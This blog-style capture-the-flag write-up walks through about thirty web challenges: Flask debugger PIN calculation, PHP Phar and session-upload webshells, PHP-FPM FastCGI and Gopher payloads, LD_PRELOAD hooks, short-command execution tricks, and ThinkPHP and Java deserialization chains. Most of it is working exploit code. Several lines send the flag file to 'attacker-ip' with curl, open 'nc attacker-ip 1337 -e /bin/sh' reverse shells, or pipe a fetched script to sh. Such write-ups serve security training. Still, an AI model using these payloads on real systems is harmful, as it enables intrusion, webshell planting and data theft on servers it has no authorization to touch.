Web Security CTF Techniques: Flask PIN Cracking, PHP Exploitation, and Java Deserialization

Challenge 801: Flask Debugger PIN Exploitation

This challenge demonstrates calculating the debugger PIN for a Flask application running in debug mode. The target exposes the console endpoint and allows file reading through a query parameter.

First, retrieve the machine ID components:

# Node ID from network interface
/file?filename=/sys/class/net/eth0/address → 0242ac0c9f9f
# Convert hex to decimal: 2485377605532

# Boot ID
/file?filename=/proc/sys/kernel/random/boot_id → 225374fa-04bc-4346-9f39-48fa82829ca9

# cgroup entry
/file?filename=/proc/self/cgroup → b411d864f4e593f4e388782956b10f2d5e11871e2ae5c13bc45e5e8cd18a766d

# Combined machine_id: 225374fa-04bc-4346-9f39-48fa82829ca9b411d864f4e593f4e388782956b10f2d5e11871e2ae5c13bc45e5e8cd18a766d

Python script to compute the PIN:

import hashlib
from itertools import chain

def calculatePin(public_components, private_components):
    hasher = hashlib.sha1()
    for component in chain(public_components, private_components):
        if not component:
            continue
        if isinstance(component, str):
            component = component.encode('utf-8')
        hasher.update(component)
    hasher.update(b'cookiesalt')
    
    cookie_name = f"__wzd{hasher.hexdigest()[:20]}"
    hasher.update(b'pinsalt')
    pin_number = f"{int(hasher.hexdigest(), 16):09d}"[:9]
    
    for group_size in [5, 4, 3]:
        if len(pin_number) % group_size == 0:
            result = "-".join(
                pin_number[x:x + group_size].rjust(group_size, "0")
                for x in range(0, len(pin_number), group_size)
            )
            return result, cookie_name
    return pin_number, cookie_name

public_data = [
    'root',
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.8/site-packages/flask/app.py'
]

private_data = [
    '2485377605532',
    '225374fa-04bc-4346-9f39-48fa82829ca9b411d864f4e593f4e388782956b10f2d5e11871e2ae5c13bc45e5e8cd18a766d'
]

pin, cookie = calculatePin(public_data, private_data)
print(f"PIN: {pin}")
print(f"Cookie: {cookie}")

Challenge 802: Alphanumeric Command Execution Bypass

With alphanumeric characters filtered, use bitwise negation to execute commands.

<?php
class CommandInjector {
    public function generatePayload($func, $cmd) {
        $sanitized_func = str_replace(["\r\n", "\r", "\n"], "", $func);
        $sanitized_cmd = str_replace(["\r\n", "\r", "\n"], "", $cmd);
        return '(~' . urlencode(~$sanitized_func) . ')(~' . urlencode(~$sanitized_cmd) . ');';
    }
}

$injector = new CommandInjector();
echo $injector->generatePayload('system', 'cat /flag');
?>

Challenge 803: Phar Archive File Inclusion

Create a malicious Phar archive to achieve code execution through file inclusion.

<?php
// Generate Phar archive
$archive = new Phar('malicious.phar');
$archive->startBuffering();
$archive->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$archive->addFromString('shell.txt', '<?php eval($_POST["x"]); ?>');
$archive->stopBuffering();
?>

# Upload and trigger
import requests
target = "http://challenge.ctf.show/"
upload_data = {
    'file': '/tmp/malicious.phar',
    'content': open('malicious.phar', 'rb').read()
}
trigger_data = {
    'file': 'phar:///tmp/malicious.phar/shell',
    'content': 'anything',
    'x': 'system("cat /flag");'
}
requests.post(target, data=upload_data)
response = requests.post(target, data=trigger_data)
print(response.text)

Challenge 804: Phar Deserialization Attack

Trigger deserialization via file_exists() using Phar metadata.

<?php
class Exploit {
    public $payload;
    public function __destruct() {
        eval($this->payload);
    }
}

$exp = new Exploit();
$exp->payload = "system('cat /flag');";

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($exp);
$phar->addFromString('dummy.txt', 'data');
$phar->stopBuffering();
?>

# Exploitation script
import requests
target = "http://challenge.ctf.show/"
requests.post(target, data={
    'file': '/tmp/exploit.phar',
    'content': open('exploit.phar', 'rb').read()
})
response = requests.post(target, data={
    'file': 'phar:///tmp/exploit.phar',
    'content': 'trigger'
})
print(response.text)

Challenge 805: Open Basedir Restriction Bypass

When command execution functions are disabled, use directory traversal to bypass restrictions.

# Check disabled functions via phpinfo
1=phpinfo();

# Bypass payload using readfile
1=mkdir('sub');chdir('sub');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readfile('/ctfshowflag');

Challenge 806: Parameterless PHP RCE

Execute code without parameters using variable functions.

?code=eval(end(current(get_defined_vars())));&inject=system('cat /flag');

Challenge 807: SSRF Command Execution

Two methods to achieve RCE via SSRF:

Method 1: Fetch and execute reverse shell script

?url=https://your-shell.com/attacker-ip:1337 | sh

Method 2: Data exfiltration

?url=https://;curl http://attacker-ip:1338?flag=`cat /*`

Challenge 808: Session-Based File Inclusion

Race condition exploit to write a webshell via PHP session upload progress.

import requests, threading

session = requests.Session()
sess_name = "exploit"
target = "http://challenge.ctf.show/"
shell_path = "/var/www/html/shell.php"
shell_code = '<?php eval($_POST["cmd"]);?>'

def write_session():
    while True:
        requests.post(target, data={
            "PHP_SESSION_UPLOAD_PROGRESS": f"<?php file_put_contents('{shell_path}', '{shell_code}');?>"
        }, files={"file": "x"}, cookies={"PHPSESSID": sess_name})

def check_shell():
    while True:
        resp = requests.post(target + f"?file=/tmp/sess_{sess_name}")
        if "success" in resp.text:
            print(f"Shell uploaded to {target}shell.php")
            exit()

for _ in range(30):
    threading.Thread(target=write_session).start()
for _ in range(30):
    threading.Thread(target=check_shell).start()

Challenge 809: PEAR Package Manager RCE

Exploit PEAR's config-create command to write a webshell.

# Write shell via PEAR
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['x']);?>+/var/www/html/shell.php

# Execute commands
?file=/var/www/html/shell.php&x=system('cat+/flag');

Challenge 810: SSRF to PHP-FPM Atttack

Attack PHP-FPM via FastCGI protocol using Gopher.

# Gopher payload to execute commands via PHP-FPM
?url=gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH59%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20=%20On%0Adisable_functions%20=%20%0Aauto_prepend_file%20=%20php://input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3B%04%00%3C%3Fphp%20system%28%27cat%20/f%2A%27%29%3Bdie%28%27-----Exploit-----%0A%27%29%3B%3F%3E%00%00%00%00

Challenge 811: FTP Protocol PHP-FPM Exploitation

Use FTP protocol to relay malicious FastCGI packets to PHP-FPM.

# Malicious FTP server
import socket
s = socket.socket()
s.bind(('0.0.0.0', 1338))
s.listen(1)
conn, _ = s.accept()
conn.send(b'220 ready\n331 pass\n230 logged in\n200 binary\n550 size\n150 ok\n227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n150 denied\n221 bye\n')
conn.close()

# Payload
?file=ftp://attacker-ip:1338/test&content=[FastCGI packet]

Challenge 812: Direct PHP-FPM Unauthorized Access

Python script for direct PHP-FPM communication.

import socket, argparse, sys
from io import BytesIO

class FCGIClient:
    def __init__(self, host, port, timeout=3):
        self.host = host
        self.port = port
        self.timeout = timeout
        self.sock = None
    
    def connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        try:
            self.sock.connect((self.host, int(self.port)))
            return True
        except:
            return False
    
    def execute(self, php_file, code):
        if not self.connect():
            return "Connection failed"
        
        request_id = 1
        packet = b"\x01\x01\x00\x01\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00"
        packet += b"\x01\x04\x00\x01\x00\xF6\x06\x00\x0F\x10SERVER_SOFTWAREphp/fcgiclient\x0B\x09REMOTE_ADDR127.0.0.1\x0F\x08SERVER_PROTOCOLHTTP/1.1\x0E\x02CONTENT_LENGTH" + str(len(code)).encode()
        packet += b"\x0E\x04REQUEST_METHODPOST\x09KPHP_VALUEauto_prepend_file=php://input\x0F\x09SCRIPT_FILENAME" + php_file.encode() + b"\x0D\x01DOCUMENT_ROOT/\x00\x00\x00\x00\x00\x00\x01\x04\x00\x01\x00\x00\x00\x00\x01\x05\x00\x01\x00" + str(len(code)).encode() + b"\x04\x00" + code.encode()
        
        self.sock.send(packet)
        return self.sock.recv(4096).decode()

if __name__ == '__main__':
    client = FCGIClient('target', 9000)
    print(client.execute('/index.php', '<?php system("cat /flag"); ?>'))

Challenge 813: MySQL Extension Hijacking

Overwrite shared library files to execute malicious code when PHP loads extnesions.

// Compile malicious extension
php ext_skel.php --ext malicious --std
cd malicious
// Edit malicious.c to add system() call in custom function
phpize
./configure
make && make install

# Upload and trigger
import requests
target = "http://challenge.ctf.show/"
with open('malicious.so', 'rb') as f:
    requests.post(target + '?a=write', data={'file': '/usr/local/lib/php/extensions/mysqli.so', 'content': f.read()})
requests.get(target + '?a=run')

Challenge 814: LD_PRELOAD getuid Hooking

Intercept process creation by hooking getuid() via LD_PRELOAD.

// hook.c
#include <stdlib.h>
#include <unistd.h>

void payload() {
    system("curl http://attacker-ip:1337?flag=`cat /flag`");
}

int getuid() {
    if (getenv("LD_PRELOAD") == NULL) return 0;
    unsetenv("LD_PRELOAD");
    payload();
    return 0;
}

# Compile and exploit
gcc -fPIC -shared -o hook.so hook.c

# Upload script
import requests
target = "http://challenge.ctf.show/"
requests.post(target + '?a=write', data={'file': '/tmp/hook.so', 'content': open('hook.so', 'rb').read()})
requests.get(target + '?a=run&env=LD_PRELOAD=/tmp/hook.so')

Challenge 815: Constructor Attribute Hooking

Use GCC constructor attribute for more reliable hooking.

// constructor.c
#define _GNU_SOURCE
#include <stdlib.h>

__attribute__((constructor)) void malicious() {
    unsetenv("LD_PRELOAD");
    system("curl http://attacker-ip:1337?flag=`cat /flag`");
}

# Compile and exploit
gcc -fPIC -shared -o constructor.so constructor.c

# Upload and trigger via mail() or similar function

Challenge 816: Temporary File LD_PRELOAD

Upload malicious .so via temporary file mechanism.

import requests
target = "http://challenge.ctf.show/?env=LD_PRELOAD=/tmp/"
requests.post(target, files={'file': open('constructor.so', 'rb').read()})

Challenge 817: Nginx Body Cache LFI

Exploit Nginx's temporary file caching to access deleted files via /proc/pid/fd/.

import threading, socket, re

def find_pid():
    s = socket.socket()
    s.connect(('target', 80))
    s.send(b'GET / HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n')
    data = s.recv(1024).decode()
    return re.findall('(\d+) www-data', data)[0]

def upload_payload():
    payload = b"curl http://attacker-ip:1337?`cat /flag`;" + b'0'*1024*500
    while True:
        s = socket.socket()
        s.connect(('target', 80))
        s.send(b'POST / HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length: %d\r\n\r\n%s' % (len(payload), payload))
        s.close()

def brute_fd(pid):
    while True:
        for fd in range(3, 40):
            s = socket.socket()
            s.connect(('target', 80))
            s.send(b'GET /?file=/proc/%s/fd/%d HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n' % (pid.encode(), fd))
            print(s.recv(2048).decode())
            s.close()

pid = find_pid()
threading.Thread(target=upload_payload).start()
threading.Thread(target=lambda: brute_fd(pid)).start()

Challenge 818: Nginx Body Cache with LD_PRELOAD

Combine Nginx caching with LD_PRELOAD for code execution.

import threading, socket

def upload_so():
    so_data = open('constructor.so', 'rb').read() + b'\n'*1024*200
    while True:
        s = socket.socket()
        s.connect(('target', 80))
        s.send(b'POST / HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length: %d\r\n\r\n%s' % (len(so_data), so_data))
        s.close()

def trigger_payload(pid):
    while True:
        for fd in range(3, 40):
            s = socket.socket()
            s.connect(('target', 80))
            s.send(b'GET /?env=LD_PRELOAD=/proc/%s/fd/%d HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n' % (str(pid).encode(), fd))
            s.close()

# Get PID and launch threads

Challenge 819: Shellshock Environment Varible Exploit

Exploit Bash function export vulnerability.

?env=BASH_FUNC_whoami%%=() { cat /flag; }

Challenge 821: 7-Character Command Execution (Writable)

Construct command sequences using file creation and ls -t ordering.

import requests, time

target = "http://challenge.ctf.show/"
payloads = [
    ">hp", ">1.p\\", ">d\\>\\", ">\\ -\\", ">e64\\", ">bas\\", ">7\\|\\",
    ">XSk\\", ">Fsx\\", ">dFV\\", ">kX0\\", ">bCg\\", ">XZh\\", ">AgZ\\",
    ">waH\\", ">PD9\\", ">o\\ \\", ">ech\\", "ls -t>0", ". 0"
]

for p in payloads:
    requests.post(target, data={"cmd": p})
    time.sleep(0.5)

Challenge 822: 7-Character Command Execution (Non-Writable)

Use wildcard expansion to execute from temporary files.

import requests
target = "http://challenge.ctf.show/"
requests.post(target, files={'file': 'nc attacker-ip 1337 -e /bin/sh'}, data={'cmd': '. /t*/*'})

Challenge 823: 5-Character Command Execution with dir

Leverage dir command for non-newline output suitable for command chaining.

import requests, time

target = "http://challenge.ctf.show/"
payloads = [
    ">tar", ">vcf", ">z", ">php", ">a.\\", ">\\>\\", ">-d\\",
    # ... additional payloads to create base64-encoded PHP shell
    "sh z", "sh j"
]

for p in payloads:
    requests.post(target, data={"cmd": p})
    time.sleep(0.3)

Challenge 824: 5-Character Command Execution with grep

Use grep to filter and reconstruct commands.

payloads = [">grep", ">h", "*>j", "rm g*", ">cat", "*>>i", ">cp", "*"]

Challenge 825: 4-Character Command Execution with dir

Minimal character count exploitation using dir and wildcard execution.

payloads = [
    ">sl", ">kt-", ">j\\>", ">j\\#", ">dir", "*>v", ">rev", "*v>x",
    # ... creates reversed base64 payload
    "sh x", "sh j"
]

Challenge 826-827: 4-Character No dir Exploitation

Use ls with $IFS for space substitution and external resource fetching.

# For internet-accessible targets
payloads = [">\\ \\", ">-t\\", ">\\>a", ">ls\\", "ls>v", ">mv", ">vt", "*v*"]

# For isolated targets, use local PHP execution
payloads = [">php", ">a.\\", ">\\>\\", ">-d\\", ">64\\", ">se\\", ">ba\\", ">PD9\\"]

Challenge 828: ThinkPHP 6.0.12 Deserialization

Exploit ThinkPHP's model abstraction for RCE.

<?php
namespace think {
    abstract class Model {
        private $lazySave = true;
        private $data = ['cmd' => ['cat /flag']];
        private $exists = true;
        protected $table;
        private $withAttr = ['cmd' => ['system']];
        protected $json = ['cmd'];
        protected $jsonAssoc = true;
    }
}

namespace think\model {
    use think\Model;
    class Pivot extends Model {}
}

echo urlencode(serialize(new \think\model\Pivot(new \think\model\Pivot())));
?>

Challenge 829-831: Java Deserialization Chains

Exploit readObject() in user-defined classes for command execution.

// Base exploit class
public class ExploitGenerator {
    public static void main(String[] args) throws Exception {
        // For challenge 829: Direct User class exploitation
        User user = new User("nc attacker-ip 1337 -e /bin/sh");
        
        // For challenge 830: Parent class exploitation
        user.secret = "nc attacker-ip 1337 -e /bin/sh";
        
        // For challenge 831: BaseUser direct exploitation
        BaseUser baseUser = new BaseUser();
        baseUser.secret = "nc attacker-ip 1337 -e /bin/sh";
        
        serialize(baseUser); // Works for all variants
    }
    
    public static void serialize(Object obj) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
    }
}

Tags: Flask PHP java deserialization Phar

Posted on Sun, 30 Aug 2026 16:45:43 +0000 by The Stranger